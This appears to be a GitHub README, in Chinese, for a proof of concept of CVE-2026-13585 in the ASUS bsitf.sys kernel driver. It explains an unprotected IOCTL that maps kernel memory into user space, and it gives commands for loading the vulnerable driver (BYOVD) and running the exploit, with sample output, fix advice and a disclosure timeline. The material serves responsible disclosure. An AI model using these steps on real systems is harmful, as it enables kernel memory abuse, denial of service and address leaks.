416rehman/asus-bsitf-0-day-poc

GitHub: 416rehman/asus-bsitf-0-day-poc

CVE-2026-13585 的概念验证工具,演示华硕 bsitf.sys 内核驱动因 IOCTL 接口缺乏访问控制而导致的内核内存映射与提权漏洞。

Stars: 5 | Forks: 2

# POC - ASUS bsitf.sys 内核内存映射至用户态 [CVE-2026-13585](https://www.cve.org/CVERecord?id=CVE-2026-13585) ## 摘要 ASUS `bsitf.sys`(也以 `AsusBSItf.sys` 名称分发)内核驱动程序暴露了 IOCTL `0x222808`,该接口会分配由攻击者控制大小的物理连续内核内存,将其映射到调用进程的地址空间中并赋予完全的读写权限,最后将用户态虚拟地址和物理地址都返回给调用者。 该设备需要管理员权限才能打开,这使其成为一种管理员到内核的提权。在 BYOVD(Bring Your Own Vulnerable Driver)场景下,已经获得管理员权限的攻击者(例如,通过社会工程学或利用其他漏洞)可以加载这个合法签名的驱动程序,从而无需内核漏洞即可获得任意内核内存访问权限。 ## 受影响版本 | 版本 | 文件名 | 包 | 池类型 | |---------|----------|---------|-----------| | 3.0.10.0 | bsitf.sys | ASUS Business Manager / AbmSvcPackage | `NonPagedPool` (可执行) | | 3.1.10.0 | AsusBSItf.sys | ASUS SCI / AsusSoftwareManager | `NonPagedPoolNx` | | 3.1.25.0 | AsusBSItf.sys | ASUS SCI / AsusSoftwareManager | `NonPagedPoolNx` | 所有版本均创建设备 `\Device\bsitf` 并带有符号链接 `\DosDevices\bsitf`。 ## 影响 映射的缓冲区是一个全新的内核池分配,而不是任意的内核地址。调用者可以控制其内容,但无法控制其位置。与真正的任意内核读写相比,这限制了漏洞的可利用性。 - **内核池耗尽 (DoS)** — 重复分配而不释放将耗尽 `NonPagedPool`,导致 BSOD。没有强加大小上限或分配限制。 - **物理地址泄露** — IOCTL 返回每次分配的物理地址,这可用作信息泄露或用于基于 DMA 的攻击。 - **可执行内核内存暂存(仅限 v3.0.x)** — 在 3.0.10.0 版本中,池类型为 `NonPagedPool`(可执行)。可以从用户态将 Shellcode 写入映射的缓冲区,但需要另一个单独的漏洞才能将内核执行重定向到该缓冲区地址。 在 v3.1.x 版本(`NonPagedPoolNx`)上,缓冲区是不可执行的,实际影响仅限于 DoS 和物理地址泄露。 ## 根本原因 分派处理程序中的 IOCTL `0x222808` 在没有输入验证的情况下执行以下操作: ``` alloc_size = *(DWORD *)Irp->AssociatedIrp.SystemBuffer; // user-controlled kernel_va = MmAllocateContiguousMemory(alloc_size, 0xffffffff); mdl = IoAllocateMdl(kernel_va, alloc_size, FALSE, FALSE, NULL); MmBuildMdlForNonPagedPool(mdl); user_va = MmMapLockedPages(mdl, UserMode); output[0] = user_va; // usermode virtual address output[1] = physical_addr; // physical address of allocation ``` 没有对分配大小、未完成分配数量或输入验证进行检查。打开该设备需要管理员权限,但一旦获取了句柄,IOCTL 的使用就不受限制。 ## 概念验证 ### 编译 ``` cargo build --release ``` ### 加载驱动 ``` sc create bsitf binPath= "C:\path\to\bsitf.sys" type= kernel sc start bsitf ``` ### 运行 ``` # 默认: 0x1000 (4KB) 分配 cargo run --release # 自定义大小 (hex) cargo run --release -- 10000 ``` ### 预期输出 ``` [*] bsitf.sys kernel memory mapping PoC [*] target alloc size: 0x1000 [+] device handle acquired [*] allocating 0x1000 bytes of kernel memory via IOCTL 0x222808 [+] kernel allocation succeeded: usermode VA: 0x000001D856F90000 physical addr: 0x00000000BF6CB000 [*] original contents (first 16 bytes): 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [*] writing 0xCC pattern (int3 sled)... [+] readback: usermode R/W CONFIRMED [*] freeing kernel mapping via IOCTL 0x22280C [+] mapping freed successfully ``` 在 Windows 11 24H2 上测试(需要管理员权限)。 ## 修复建议 1. 使用合理的上限验证分配大小 2. 限制每个句柄的未完成分配数量 3. 不要将内核分配映射到用户态地址空间 4. 不要将物理地址返回给用户态调用者 5. 在所有版本上使用 `NonPagedPoolNx` ## 时间线 | 日期 | 事件 | |------|-------| | 2026-04-06 | 通过自动化分析发现漏洞 | | 2026-04-06 | 在 Windows 11 24H2 上确认了 PoC | | 2026-04-06 | 向 ASUS PSIRT 提交报告 | ## 参考 - [CWE-782:暴露的 IOCTL 缺乏访问控制](https://cwe.mitre.org/data/definitions/782.html) - 设备:`\Device\bsitf`,符号链接:`\DosDevices\bsitf` - 分派处理程序:`FUN_140001070` ## 免责声明 本概念验证仅供授权的安全研究和负责任的披露目的使用。请勿对您不拥有或未获得明确测试许可的系统使用此代码。
标签:0day挖掘, BYOVD, PoC, Web报告查看器, Windows驱动, 内核安全, 可视化界面, 提权, 暴力破解, 通知系统